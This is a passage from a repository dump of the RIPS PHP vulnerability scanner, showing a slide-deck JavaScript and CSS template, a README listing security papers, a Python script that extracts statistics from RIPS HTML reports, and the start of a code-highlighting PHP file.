          }
          this._updateClassName = function () {
            elem.className = this.toString();
          };
        }
        , classListProto = ClassList[protoProp] = []
        , classListGetter = function () {
          return new ClassList(this);
        }
      ;
      // Most DOMException implementations don't allow calling DOMException's toString()
      // on non-DOMExceptions. Error's toString() is sufficient here.
      DOMEx[protoProp] = Error[protoProp];
      classListProto.item = function (i) {
        return this[i] || null;
      };
      classListProto.contains = function (token) {
        token += "";
        return checkTokenAndGetIndex(this, token) !== -1;
      };
      classListProto.add = function (token) {
        token += "";
        if (checkTokenAndGetIndex(this, token) === -1) {
          this.push(token);
          this._updateClassName();
        }
      };
      classListProto.remove = function (token) {
        token += "";
        var index = checkTokenAndGetIndex(this, token);
        if (index !== -1) {
          this.splice(index, 1);
          this._updateClassName();
        }
      };
      classListProto.toggle = function (token) {
        token += "";
        if (checkTokenAndGetIndex(this, token) === -1) {
          this.add(token);
        } else {
          this.remove(token);
        }
      };
      classListProto.toString = function () {
        return this.join(" ");
      };
      
      if (objCtr.defineProperty) {
        var classListPropDesc = {
            get: classListGetter
          , enumerable: true
          , configurable: true
        };
        try {
          objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);
        } catch (ex) { // IE 8 doesn't support enumerable:true
          if (ex.number === -0x7FF5EC54) {
            classListPropDesc.enumerable = false;
            objCtr.defineProperty(elemCtrProto, classListProp, classListPropDesc);
          }
        }
      } else if (objCtr[protoProp].__defineGetter__) {
        elemCtrProto.__defineGetter__(classListProp, classListGetter);
      }
      
      }(self));
      
      }
      /* ---------------------------------------------------------------------- */
      
      /* Slide movement */
      
      function getSlideEl(no) {
        if ((no < 0) || (no >= slideEls.length)) {
          return null;
        } else {
          return slideEls[no];
        }
      };
      
      function updateSlideClass(slideNo, className) {
        var el = getSlideEl(slideNo);
      
        if (!el) {
          return;
        }
      
        if (className) {
          el.classList.add(className);
        }
      
        for (var i in SLIDE_CLASSES) {
          if (className != SLIDE_CLASSES[i]) {
            el.classList.remove(SLIDE_CLASSES[i]);
          }
        }
      };
      
      function updateSlides() {
        for (var i = 0; i < slideEls.length; i++) {
          switch (i) {
            case curSlide - 2:
              updateSlideClass(i, 'far-past');
              break;
            case curSlide - 1:
              updateSlideClass(i, 'past');
              break;
            case curSlide:
              updateSlideClass(i, 'current');
              break;
            case curSlide + 1:
              updateSlideClass(i, 'next');
              break;
            case curSlide + 2:
              updateSlideClass(i, 'far-next');
              break;
            default:
              updateSlideClass(i);
              break;
          }
        }
      
        triggerLeaveEvent(curSlide - 1);
        triggerEnterEvent(curSlide);
      
        window.setTimeout(function() {
          // Hide after the slide
          disableSlideFrames(curSlide - 2);
        }, 301);
      
        enableSlideFrames(curSlide - 1);
        enableSlideFrames(curSlide + 2);
      
        if (isChromeVoxActive()) {
          speakAndSyncToNode(slideEls[curSlide]);
        }
      
        updateHash();
      };
      
      function buildNextItem() {
        var toBuild  = slideEls[curSlide].querySelectorAll('.to-build');
      
        if (!toBuild.length) {
          return false;
        }
      
        toBuild[0].classList.remove('to-build');
      
        if (isChromeVoxActive()) {
          speakAndSyncToNode(toBuild[0]);
        }
      
        return true;
      };
      
      function prevSlide() {
        if (curSlide > 0) {
          curSlide--;
      
          updateSlides();
        }
      };
      
      function nextSlide() {
        if (buildNextItem()) {
          return;
        }
      
        if (curSlide < slideEls.length - 1) {
          curSlide++;
      
          updateSlides();
        }
      };
      
      /* Slide events */
      
      function triggerEnterEvent(no) {
        var el = getSlideEl(no);
        if (!el) {
          return;
        }
      
        var onEnter = el.getAttribute('onslideenter');
        if (onEnter) {
          new Function(onEnter).call(el);
        }
      
        var evt = document.createEvent('Event');
        evt.initEvent('slideenter', true, true);
        evt.slideNumber = no + 1; // Make it readable
      
        el.dispatchEvent(evt);
      };
      
      function triggerLeaveEvent(no) {
        var el = getSlideEl(no);
        if (!el) {
          return;
        }
      
        var onLeave = el.getAttribute('onslideleave');
        if (onLeave) {
          new Function(onLeave).call(el);
        }
      
        var evt = document.createEvent('Event');
        evt.initEvent('slideleave', true, true);
        evt.slideNumber = no + 1; // Make it readable
      
        el.dispatchEvent(evt);
      };
      
      /* Touch events */
      
      function handleTouchStart(event) {
        if (event.touches.length == 1) {
          touchDX = 0;
          touchDY = 0;
      
          touchStartX = event.touches[0].pageX;
          touchStartY = event.touches[0].pageY;
      
          document.body.addEventListener('touchmove', handleTouchMove, true);
          document.body.addEventListener('touchend', handleTouchEnd, true);
        }
      };
      
      function handleTouchMove(event) {
        if (event.touches.length > 1) {
          cancelTouch();
        } else {
          touchDX = event.touches[0].pageX - touchStartX;
          touchDY = event.touches[0].pageY - touchStartY;
        }
      };
      
      function handleTouchEnd(event) {
        var dx = Math.abs(touchDX);
        var dy = Math.abs(touchDY);
      
        if ((dx > PM_TOUCH_SENSITIVITY) && (dy < (dx * 2 / 3))) {
          if (touchDX > 0) {
            prevSlide();
          } else {
            nextSlide();
          }
        }
      
        cancelTouch();
      };
      
      function cancelTouch() {
        document.body.removeEventListener('touchmove', handleTouchMove, true);
        document.body.removeEventListener('touchend', handleTouchEnd, true);
      };
      
      /* Preloading frames */
      
      function disableSlideFrames(no) {
        var el = getSlideEl(no);
        if (!el) {
          return;
        }
      
        var frames = el.getElementsByTagName('iframe');
        for (var i = 0, frame; frame = frames[i]; i++) {
          disableFrame(frame);
        }
      };
      
      function enableSlideFrames(no) {
        var el = getSlideEl(no);
        if (!el) {
          return;
        }
      
        var frames = el.getElementsByTagName('iframe');
        for (var i = 0, frame; frame = frames[i]; i++) {
          enableFrame(frame);
        }
      };
      
      function disableFrame(frame) {
        frame.src = 'about:blank';
      };
      
      function enableFrame(frame) {
        var src = frame._src;
      
        if (frame.src != src && src != 'about:blank') {
          frame.src = src;
        }
      };
      
      function setupFrames() {
        var frames = document.querySelectorAll('iframe');
        for (var i = 0, frame; frame = frames[i]; i++) {
          frame._src = frame.src;
          disableFrame(frame);
        }
      
        enableSlideFrames(curSlide);
        enableSlideFrames(curSlide + 1);
        enableSlideFrames(curSlide + 2);
      };
      
      function setupInteraction() {
        /* Clicking and tapping */
      
        var el = document.createElement('div');
        el.className = 'slide-area';
        el.id = 'prev-slide-area';
        el.addEventListener('click', prevSlide, false);
        document.querySelector('section.slides').appendChild(el);
      
        var el = document.createElement('div');
        el.className = 'slide-area';
        el.id = 'next-slide-area';
        el.addEventListener('click', nextSlide, false);
        document.querySelector('section.slides').appendChild(el);
      
        /* Swiping */
      
        document.body.addEventListener('touchstart', handleTouchStart, false);
      }
      
      /* ChromeVox support */
      
      function isChromeVoxActive() {
        if (typeof(cvox) == 'undefined') {
          return false;
        } else {
          return true;
        }
      };
      
      function speakAndSyncToNode(node) {
        if (!isChromeVoxActive()) {
          return;
        }
      
        cvox.ChromeVox.navigationManager.switchToStrategy(
            cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);
        cvox.ChromeVox.navigationManager.syncToNode(node);
        cvox.ChromeVoxUserCommands.finishNavCommand('');
        var target = node;
        while (target.firstChild) {
          target = target.firstChild;
        }
        cvox.ChromeVox.navigationManager.syncToNode(target);
      };
      
      function speakNextItem() {
        if (!isChromeVoxActive()) {
          return;
        }
      
        cvox.ChromeVox.navigationManager.switchToStrategy(
            cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);
        cvox.ChromeVox.navigationManager.next(true);
        if (!cvox.DomUtil.isDescendantOfNode(
            cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])){
          var target = slideEls[curSlide];
          while (target.firstChild) {
            target = target.firstChild;
          }
          cvox.ChromeVox.navigationManager.syncToNode(target);
          cvox.ChromeVox.navigationManager.next(true);
        }
        cvox.ChromeVoxUserCommands.finishNavCommand('');
      };
      
      function speakPrevItem() {
        if (!isChromeVoxActive()) {
          return;
        }
      
        cvox.ChromeVox.navigationManager.switchToStrategy(
            cvox.ChromeVoxNavigationManager.STRATEGIES.LINEARDOM, 0, true);
        cvox.ChromeVox.navigationManager.previous(true);
        if (!cvox.DomUtil.isDescendantOfNode(
            cvox.ChromeVox.navigationManager.getCurrentNode(), slideEls[curSlide])){
          var target = slideEls[curSlide];
          while (target.lastChild){
            target = target.lastChild;
          }
          cvox.ChromeVox.navigationManager.syncToNode(target);
          cvox.ChromeVox.navigationManager.previous(true);
        }
        cvox.ChromeVoxUserCommands.finishNavCommand('');
      };
      
      /* Hash functions */
      
      function getCurSlideFromHash() {
        var slideNo = parseInt(location.hash.substr(1));
      
        if (slideNo) {
          curSlide = slideNo - 1;
        } else {
          curSlide = 0;
        }
      };
      
      function updateHash() {
        location.replace('#' + (curSlide + 1));
      };
      
      /* Event listeners */
      
      function handleBodyKeyDown(event) {
        switch (event.keyCode) {
          case 39: // right arrow
          case 13: // Enter
          case 32: // space
          case 34: // PgDn
            nextSlide();
            event.preventDefault();
            break;
      
          case 37: // left arrow
          case 8: // Backspace
          case 33: // PgUp
            prevSlide();
            event.preventDefault();
            break;
      
          case 40: // down arrow
            if (isChromeVoxActive()) {
              speakNextItem();
            } else {
              nextSlide();
            }
            event.preventDefault();
            break;
      
          case 38: // up arrow
            if (isChromeVoxActive()) {
              speakPrevItem();
            } else {
              prevSlide();
            }
            event.preventDefault();
            break;
        }
      };
      
      function addEventListeners() {
        document.addEventListener('keydown', handleBodyKeyDown, false);
      };
      
      /* Initialization */
      
      function addPrettify() {
        var els = document.querySelectorAll('pre');
        for (var i = 0, el; el = els[i]; i++) {
          if (!el.classList.contains('noprettyprint')) {
            el.classList.add('prettyprint');
          }
        }
      
        var el = document.createElement('script');
        el.type = 'text/javascript';
        el.src = PERMANENT_URL_PREFIX + 'prettify.js';
        el.onload = function() {
          prettyPrint();
        }
        document.body.appendChild(el);
      };
      
      function addFontStyle() {
        var el = document.createElement('link');
        el.rel = 'stylesheet';
        el.type = 'text/css';
        el.href = 'http://fonts.googleapis.com/css?family=' +
                  'Open+Sans:regular,semibold,italic,italicsemibold|Droid+Sans+Mono';
      
        document.body.appendChild(el);
      };
      
      function addGeneralStyle() {
        var el = document.createElement('link');
        el.rel = 'stylesheet';
        el.type = 'text/css';
        el.href = PERMANENT_URL_PREFIX + 'styles.css';
        document.body.appendChild(el);
      
        var el = document.createElement('meta');
        el.name = 'viewport';
        el.content = 'width=1100,height=750';
        document.querySelector('head').appendChild(el);
      
        var el = document.createElement('meta');
        el.name = 'apple-mobile-web-app-capable';
        el.content = 'yes';
        document.querySelector('head').appendChild(el);
      };
      
      function makeBuildLists() {
        for (var i = curSlide, slide; slide = slideEls[i]; i++) {
          var items = slide.querySelectorAll('.build > *');
          for (var j = 0, item; item = items[j]; j++) {
            if (item.classList) {
              item.classList.add('to-build');
            }
          }
        }
      };
      
      function handleDomLoaded() {
        slideEls = document.querySelectorAll('section.slides > article');
      
        setupFrames();
      
        addFontStyle();
        addGeneralStyle();
        addPrettify();
        addEventListeners();
      
        updateSlides();
      
        setupInteraction();
        makeBuildLists();
      
        document.body.classList.add('loaded');
      };
      
      function initialize() {
        getCurSlideFromHash();
      
        if (window['_DEBUG']) {
          PERMANENT_URL_PREFIX = '../';
        }
      
        if (window['_DCL']) {
          handleDomLoaded();
        } else {
          document.addEventListener('DOMContentLoaded', handleDomLoaded, false);
        }
      }
      
      // If ?debug exists then load the script relative instead of absolute
      if (!window['_DEBUG'] && document.location.href.indexOf('?debug') !== -1) {
        document.addEventListener('DOMContentLoaded', function() {
          // Avoid missing the DomContentLoaded event
          window['_DCL'] = true
        }, false);
      
        window['_DEBUG'] = true;
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.src = '../slides.js';
        var s = document.getElementsByTagName('script')[0];
        s.parentNode.insertBefore(script, s);
      
        // Remove this script
        s.parentNode.removeChild(s);
      } else {
        initialize();
      }
      
      
      ================================================
      FILE: papers/LCA 2012_ PHP Static Code Analysis_files/styles.css
      ================================================
      /*
        Google HTML5 slides template
      
        Authors: Luke Mahé (code)
                 Marcin Wichary (code and design)
                 
                 Dominic Mazzoni (browser compatibility)
                 Charles Chen (ChromeVox support)
      
        URL: http://code.google.com/p/html5slides/
      */
      
      /* Framework */
      
      html {
        height: 100%;
      }
      
      body {
        margin: 0;
        padding: 0;
      
        display: block !important;
      
        height: 100%;
        min-height: 740px;
        
        overflow-x: hidden;
        overflow-y: auto;
      
        background: rgb(215, 215, 215);
        background: -o-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));
        background: -moz-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));
        background: -webkit-radial-gradient(rgb(240, 240, 240), rgb(190, 190, 190));
        background: -webkit-gradient(radial, 50% 50%, 0, 50% 50%, 500, from(rgb(240, 240, 240)), to(rgb(190, 190, 190)));
      
        -webkit-font-smoothing: antialiased;
      }
      
      .slides {
        width: 100%;
        height: 100%;
        left: 0;
        top: 0;
        
        position: absolute;
      
        -webkit-transform: translate3d(0, 0, 0);
      }
      
      .slides > article {
        display: block;
      
        position: absolute;
        overflow: hidden;
      
        width: 900px;
        height: 700px;
      
        left: 50%;
        top: 50%;
      
        margin-left: -450px;
        margin-top: -350px;
        
        padding: 40px 60px;
      
        box-sizing: border-box;
        -o-box-sizing: border-box;
        -moz-box-sizing: border-box;
        -webkit-box-sizing: border-box;
      
        border-radius: 10px;
        -o-border-radius: 10px;
        -moz-border-radius: 10px;
        -webkit-border-radius: 10px;
      
        background-color: white;
      
        box-shadow: 0 2px 6px rgba(0, 0, 0, .1);
        border: 1px solid rgba(0, 0, 0, .3);
      
        transition: transform .3s ease-out;
        -o-transition: -o-transform .3s ease-out;
        -moz-transition: -moz-transform .3s ease-out;
        -webkit-transition: -webkit-transform .3s ease-out;
      }
      .slides.layout-widescreen > article {
        margin-left: -550px;
        width: 1100px;
      }
      .slides.layout-faux-widescreen > article {
        margin-left: -550px;
        width: 1100px;
        
        padding: 40px 160px;
      }
      
      .slides.template-default > article:not(.nobackground):not(.biglogo) {
        background: url(images/google-logo-small.png) 710px 625px no-repeat;  
        
        background-color: white;  
      } 
      
      .slides.template-io2011 > article:not(.nobackground):not(.biglogo) {
        background: url(images/colorbar.png) 0 600px repeat-x,
                    url(images/googleio-logo.png) 640px 625px no-repeat;
      
        background-size: 100%, 225px;  
      
        background-color: white;  
      }
      .slides.layout-widescreen > article:not(.nobackground):not(.biglogo),
      .slides.layout-faux-widescreen > article:not(.nobackground):not(.biglogo) {
        background-position-x: 0, 840px;
      }
      
      /* Clickable/tappable areas */
      
      .slide-area {
        z-index: 1000;
      
        position: absolute;
        left: 0;
        top: 0;
        width: 150px;
        height: 700px;  
      
        left: 50%;
        top: 50%;
      
        cursor: pointer;  
        margin-top: -350px;  
        
        tap-highlight-color: transparent;
        -o-tap-highlight-color: transparent;
        -moz-tap-highlight-color: transparent;
        -webkit-tap-highlight-color: transparent;
      }
      #prev-slide-area {
        margin-left: -550px;
      }
      #next-slide-area {
        margin-left: 400px;
      }
      .slides.layout-widescreen #prev-slide-area,
      .slides.layout-faux-widescreen #prev-slide-area {
        margin-left: -650px;
      }
      .slides.layout-widescreen #next-slide-area,
      .slides.layout-faux-widescreen #next-slide-area {
        margin-left: 500px;
      }
      
      /* Slide styles */
      
      .slides.template-default article.biglogo {
        background: white url(images/google-logo.png) 50% 50% no-repeat;
      }
      
      .slides.template-io2011 article.biglogo {
        background: white url(images/googleio-logo.png) 50% 50% no-repeat;
      
        background-size: 600px;
      }
      
      /* Slides */
      
      .slides > article {
        display: none;
      }
      .slides > article.far-past {
        display: block;
        transform: translate(-2040px);
        -o-transform: translate(-2040px);
        -moz-transform: translate(-2040px);
        -webkit-transform: translate3d(-2040px, 0, 0);
      }
      .slides > article.past {
        display: block;
        transform: translate(-1020px);
        -o-transform: translate(-1020px);
        -moz-transform: translate(-1020px);
        -webkit-transform: translate3d(-1020px, 0, 0);
      }
      .slides > article.current {
        display: block;
        transform: translate(0);
        -o-transform: translate(0);
        -moz-transform: translate(0);
        -webkit-transform: translate3d(0, 0, 0);
      }
      .slides > article.next {
        display: block;
        transform: translate(1020px);
        -o-transform: translate(1020px);
        -moz-transform: translate(1020px);
        -webkit-transform: translate3d(1020px, 0, 0);
      }
      .slides > article.far-next {
        display: block;
        transform: translate(2040px);
        -o-transform: translate(2040px);
        -moz-transform: translate(2040px);
        -webkit-transform: translate3d(2040px, 0, 0);
      }
      
      .slides.layout-widescreen > article.far-past,
      .slides.layout-faux-widescreen > article.far-past {
        display: block;
        transform: translate(-2260px);
        -o-transform: translate(-2260px);
        -moz-transform: translate(-2260px);
        -webkit-transform: translate3d(-2260px, 0, 0);
      }
      .slides.layout-widescreen > article.past,
      .slides.layout-faux-widescreen > article.past {
        display: block;
        transform: translate(-1130px);
        -o-transform: translate(-1130px);
        -moz-transform: translate(-1130px);
        -webkit-transform: translate3d(-1130px, 0, 0);
      }
      .slides.layout-widescreen > article.current,
      .slides.layout-faux-widescreen > article.current {
        display: block;
        transform: translate(0);
        -o-transform: translate(0);
        -moz-transform: translate(0);
        -webkit-transform: translate3d(0, 0, 0);
      }
      .slides.layout-widescreen > article.next,
      .slides.layout-faux-widescreen > article.next {
        display: block;
        transform: translate(1130px);
        -o-transform: translate(1130px);
        -moz-transform: translate(1130px);
        -webkit-transform: translate3d(1130px, 0, 0);
      }
      .slides.layout-widescreen > article.far-next,
      .slides.layout-faux-widescreen > article.far-next {
        display: block;
        transform: translate(2260px);
        -o-transform: translate(2260px);
        -moz-transform: translate(2260px);
        -webkit-transform: translate3d(2260px, 0, 0);
      }
      
      /* Styles for slides */
      
      .slides > article {
        font-family: 'Open Sans', Arial, sans-serif;
      
        color: rgb(102, 102, 102);
        text-shadow: 0 1px 1px rgba(0, 0, 0, .1);
      
        font-size: 30px;
        line-height: 36px;
      
        letter-spacing: -1px;
      }
      
      b {
        font-weight: 600;
      }
      
      .blue {
        color: rgb(0, 102, 204);
      }
      .yellow {
        color: rgb(255, 211, 25);
      }
      .green {
        color: rgb(0, 138, 53);
      }
      .red {
        color: rgb(255, 0, 0);
      }
      .black {
        color: black;
      }
      .white {
        color: white;
      }
      
      a {
        color: rgb(0, 102, 204);
      }
      a:visited {
        color: rgba(0, 102, 204, .75);
      }
      a:hover {
        color: black;
      }
      
      p {
        margin: 0;
        padding: 0;
      
        margin-top: 20px;
      }
      p:first-child {
        margin-top: 0;
      }
      
      h1 {
        font-size: 60px;
        line-height: 60px;
      
        padding: 0;
        margin: 0;
        margin-top: 200px;
        padding-right: 40px;
      
        font-weight: 600;
      
        letter-spacing: -3px;
      
        color: rgb(51, 51, 51);
      }
      
      h2 {
        font-size: 45px;
        line-height: 45px;
      
        position: absolute;
        bottom: 150px;
      
        padding: 0;
        margin: 0;
        padding-right: 40px;
      
        font-weight: 600;
      
        letter-spacing: -2px;
      
        color: rgb(51, 51, 51);
      }
      
      h3 {
        font-size: 30px;
        line-height: 36px;
      
        padding: 0;
        margin: 0;
        padding-right: 40px;
      
        font-weight: 600;
      
        letter-spacing: -1px;
      
        color: rgb(51, 51, 51);
      }
      
      article.fill h3 {
        background: rgba(255, 255, 255, .75);
        padding-top: .2em;
        padding-bottom: .3em;
        margin-top: -.2em;
        margin-left: -60px;
        padding-left: 60px;
        margin-right: -60px;
        padding-right: 60px;
      }
      
      ul {
        list-style: none;
        margin: 0;
        padding: 0;
      
        margin-top: 40px;
      
        margin-left: .75em;
      }
      ul:first-child {
        margin-top: 0;
      }
      ul ul {
        margin-top: .5em;
      }
      li {
        padding: 0;
        margin: 0;
      
        margin-bottom: .5em;
      }
      li::before {
        content: '·';
      
        width: .75em;
        margin-left: -.75em;
      
        position: absolute;
      }
      
      pre {
        font-family: 'Droid Sans Mono', 'Courier New', monospace;
      
        font-size: 20px;
        line-height: 28px;
        padding: 5px 10px;
        
        letter-spacing: -1px;
      
        margin-top: 40px;
        margin-bottom: 40px;
      
        color: black;
        background: rgb(240, 240, 240);
        border: 1px solid rgb(224, 224, 224);
        box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);
        
        overflow: hidden;
      }
      
      code {
        font-size: 95%;
        font-family: 'Droid Sans Mono', 'Courier New', monospace;
      
        color: black;
      }
      
      iframe {
        width: 100%;
      
        height: 620px;
      
        background: white;
        border: 1px solid rgb(192, 192, 192);
        margin: -1px;
        /*box-shadow: inset 0 2px 6px rgba(0, 0, 0, .1);*/
      }
      
      h3 + iframe {
        margin-top: 40px;
        height: 540px;
      }
      
      article.fill iframe {
        position: absolute;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
      
        border: 0;
        margin: 0;
      
        border-radius: 10px;
        -o-border-radius: 10px;
        -moz-border-radius: 10px;
        -webkit-border-radius: 10px;
      
        z-index: -1;
      }
      
      article.fill img {
        position: absolute;
        left: 0;
        top: 0;
        min-width: 100%;
        min-height: 100%;
      
        border-radius: 10px;
        -o-border-radius: 10px;
        -moz-border-radius: 10px;
        -webkit-border-radius: 10px;
      
        z-index: -1;
      }
      img.centered {
        margin: 0 auto;
        display: block;
      }
      
      table {
        width: 100%;
        border-collapse: collapse;
        margin-top: 40px;
      }
      th {
        font-weight: 600;
        text-align: left;
      }
      td,
      th {
        border: 1px solid rgb(224, 224, 224);
        padding: 5px 10px;
        vertical-align: top;
      }
      
      .source {
        position: absolute;
        left: 60px;
        top: 644px;
        padding-right: 175px;
        
        font-size: 15px;
        letter-spacing: 0;  
        line-height: 18px;
      }
      
      q {
        display: block;
        font-size: 60px;
        line-height: 72px;
        
        margin-left: 20px;
        
        margin-top: 100px;
        margin-right: 150px;    
      }
      q::before {
        content: '“';
        
        position: absolute;
        display: inline-block;
        margin-left: -2.1em;
        width: 2em;
        text-align: right;
        
        font-size: 90px;
        color: rgb(192, 192, 192);
      }
      q::after {
        content: '”';
      
        position: absolute;  
        margin-left: .1em;
      
        font-size: 90px;
        color: rgb(192, 192, 192);  
      }
      div.author {
        text-align: right;  
        font-size: 40px;
        
        margin-top: 20px;
        margin-right: 150px;    
      }
      div.author::before {
        content: '—';
      }
      
      /* Size variants */
      
      article.smaller p,
      article.smaller ul {
        font-size: 20px;
        line-height: 24px;
        letter-spacing: 0;
      }
      article.smaller table {
        font-size: 20px;
        line-height: 24px;
        letter-spacing: 0;
      }
      article.smaller pre {
        font-size: 15px;
        line-height: 20px;
        letter-spacing: 0;
      }
      article.smaller q {
        font-size: 40px;
        line-height: 48px;
      }
      article.smaller q::before,
      article.smaller q::after {
        font-size: 60px;
      }
      
      /* Builds */
      
      .build > * {
        transition: opacity 0.5s ease-in-out 0.2s;
        -o-transition: opacity 0.5s ease-in-out 0.2s;
        -moz-transition: opacity 0.5s ease-in-out 0.2s;
        -webkit-transition: opacity 0.5s ease-in-out 0.2s;
      }
      
      .to-build {
        opacity: 0;
      }
      
      /* Pretty print */
      
      .prettyprint .str, /* string content */
      .prettyprint .atv { /* a markup attribute value */
        color: rgb(0, 138, 53); 
      }  
      .prettyprint .kwd, /* a keyword */
      .prettyprint .tag { /* a markup tag name */
        color: rgb(0, 102, 204);
      }
      .prettyprint .com { /* a comment */
        color: rgb(127, 127, 127); 
        font-style: italic; 
      }  
      .prettyprint .lit { /* a literal value */
        color: rgb(127, 0, 0);
      }  
      .prettyprint .pun, /* punctuation, lisp open bracket, lisp close bracket */
      .prettyprint .opn, 
      .prettyprint .clo { 
        color: rgb(127, 127, 127); 
      }
      .prettyprint .typ, /* a type name */
      .prettyprint .atn, /* a markup attribute name */ 
      .prettyprint .dec, 
      .prettyprint .var { /* a declaration; a variable name */
        color: rgb(127, 0, 127);
      }  
      
      
      ================================================
      FILE: papers/README.md
      ================================================
      # Papers by Johannes Dahse
      
      2016
      * [Static detection of complex vulnerabilities in modern PHP applications](https://d-nb.info/1099703417/34) (dissertation)
      * [No Honor Among Thieves: A Large-Scale Analysis of Malicious Web Shells](http://www.cyber-investigator.org/wp-content/uploads/2016/04/webshells_www2016.pdf)
      
      2015
      * [Experience report: an empirical study of PHP security mechanism usage](http://syssec.rub.de/media/emma/veroeffentlichungen/2015/05/27/sanitization_issta15.pdf)
      * [Security Analysis of PHP Bytecode Protection Mechanisms](https://pdfs.semanticscholar.org/0c37/61f05ac238d58194a41323018f7c21907b05.pdf)
      
      2014
      * [Code Reuse Attacks in PHP: Automated POP Chain Generation](https://www.ei.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf)
      * [Simulation of Built-in PHP Features for Precise Static Code Analysis](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/04_5_0.pdf) [Slides](http://wp.internetsociety.org/ndss/wp-content/uploads/sites/25/2017/09/04_5_slides.pdf)
      * [Static Detection of Second-Order Vulnerabilities in Web Applications](https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-dahse.pdf) [Slides](https://www.usenix.org/sites/default/files/conference/protected-files/sec14_slides_dahse.pdf)
      
      2010
      * [RIPS - A static source code analyser for vulnerabilities in PHP scripts](https://sourceforge.net/projects/rips-scanner/files/rips-paper.pdf/download) (seminar work)
      * [RIPS - A static source code analyser for vulnerabilities in PHP scripts](http://php-security.org/downloads/rips.pdf) [Slides](https://websec.files.wordpress.com/2010/11/rips-slides.pdf)
      
      # Other Sources
      
      2012
      * [linux.com.au 2012: Finding Vulnerabilities in PHP code](http://peter.serwylo.com/?p=115) [YouTube](https://www.youtube.com/watch?v=zrXFGjJyP8M)
      
      2011
      * [toolsmith: RIPS - A static source code analyser for vulnerabilities in PHP scripts](http://www.issa.org/resource/resmgr/PDF/McRee-toolsmith.pdf)
      
      
      ================================================
      FILE: rips_stats.py
      ================================================
      #! /usr/bin/env python
      # -*- coding: UTF-8 -*-
      # Author : tintinweb@oststrom.com <github.com/tintinweb>
      #
      # minimal dependencies, we do not require a fully blown html parser, beautifulsoup
      #  and others
      import sys, re, os
      
      STATS_BEGIN = '<div id="stats" class="stats">'
      STATS_END = '<div class="filebox">'
      
      def getargs():
          '''
          minimalistic argparse
          '''
          args = []
          options = []
          if len(sys.argv) <= 1:
              print """Usage: %s [<report.html>, ...]"""%sys.argv[0]
              exit(1)
          for a in sys.argv[1:]:
              if a.startswith("--"):
                  options.append(a)
              else:
                  args.append(a)
          return args, options
      
      def extract_td_single(column_name,data):
          '''
          utility function to extract data column text
          '''
          d = re.findall(r'%s</td><td[^>]*>([^<]+)'%column_name,data,re.MULTILINE|re.DOTALL)
          if d:
              return d[0]
          return ''
      
      def main(args, options=[]):
          errcode = 0
          stats={}
      
          for file in args:
              print "[*] processing '%s'"%file
              if not os.path.isfile(file):
                  print "[!!] file not found/not a file - '%s'"%file
                  continue
              with open(file,'r') as f:
                  data = None
                  # performance - reduce regex searchspace; extract stats div
                  for line in f.readlines():
                      if data:
                          data += line
                      if STATS_BEGIN in line:
                          data = line[line.index(STATS_BEGIN):]
                          continue
                      if STATS_END in line:
                          break
                  if data:
                      print "[**] extracting data"
                      x = re.findall(r'Sum:</td><td>(\d+)</td>', data)
                      stats['hits'] = int(x[0]) if x else 0    # if Sum: is missing, there were not vulns.
                      stats['cats'] = re.findall(r'catshow\(\'([^\']+)', data)
                      stats['num_cats']=len(stats['cats'])
                      x = re.findall(r'<span id="scantime">(\d+\.\d+) seconds</span>',data)
                      stats['scantime'] = x[0] if x else None
      
                      for s in ("Scanned files:", "Include success:", "Considered sinks:",
                                "User-defined functions:","Unique sources:","Sensitive sinks:"):
                          stats[s] = extract_td_single(s, data).strip()
      
      
              stats['dummy']=''
              print "[***] Results"
              print """[    ] Scanned Files:           %(Scanned files:)20s
      [    ] Include Success:         %(Include success:)20s
      [    ] Time Elapsed:            %(scantime)19ss
      
      [    ] Considered sinks:        %(Considered sinks:)20s
      [    ] User-defined functions:  %(User-defined functions:)20s
      [    ] Unique sources:          %(Unique sources:)20s
      [    ] Sensitive sinks:         %(Sensitive sinks:)20s
      
      [    ] Hits:                    %(hits)20s
      [    ] Categories:              %(num_cats)20s"""%stats
              for c in stats.get("cats",[]):
                  print "   %50s"%("%s   [+]"%c)
              errcode+=stats.get('hits',0)
      
      
          return errcode
      
      if __name__=='__main__':
          args, options = getargs()
          sys.exit(main(args,options))
      
      
      
      
      ================================================
      FILE: windows/code.php
      ================================================
      <table width='100%'>
      <?php
      /**
      
      RIPS - A static source code analyser for vulnerabilities in PHP scripts
      	by Johannes Dahse (johannes.dahse@rub.de)
      
      
      Copyright (C) 2012 Johannes Dahse
      
      This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
      
      This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
      
      You should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.
      
      **/
      
      include('../config/general.php');
      
      	// prepare output to style with CSS
      	function highlightline($line, $line_nr, $marklines, $in_comment)
      	{
      		$tokens = @token_get_all('<? '.$line.' ?>');
      		$output = (in_array($line_nr, $marklines)) ? '<tr><td nowrap class="markline">' : '<tr><td nowrap class="codeline">';
      
      		for($i=0; $i<count($tokens); $i++)
      		{
      			if(is_array($tokens[$i]) && ($tokens[$i][0] === T_COMMENT || $tokens[$i][0] === T_DOC_COMMENT)
      			&& ($tokens[$i][1][0] === '/' && $tokens[$i][1][1] === '*' && substr(trim($tokens[$i][1]),-2,2) !== '*/'))
      			{
      				$in_comment = true;
      				if(is_array($tokens[$i]))
      					$tokens[$i][1] = str_replace('?'.'>', '', $tokens[$i][1]);
      			}
      			if($tokens[$i] === '/' && $tokens[$i-1] === '*')
      			{
      				$in_comment = false;
      			}
      
      			if($i == count($tokens)-1 && $tokens[$i-1][0] !== T_CLOSE_TAG)
      				$tokens[$i][1] = str_replace('?'.'>', '', $tokens[$i][1]);
      
      			if($in_comment)
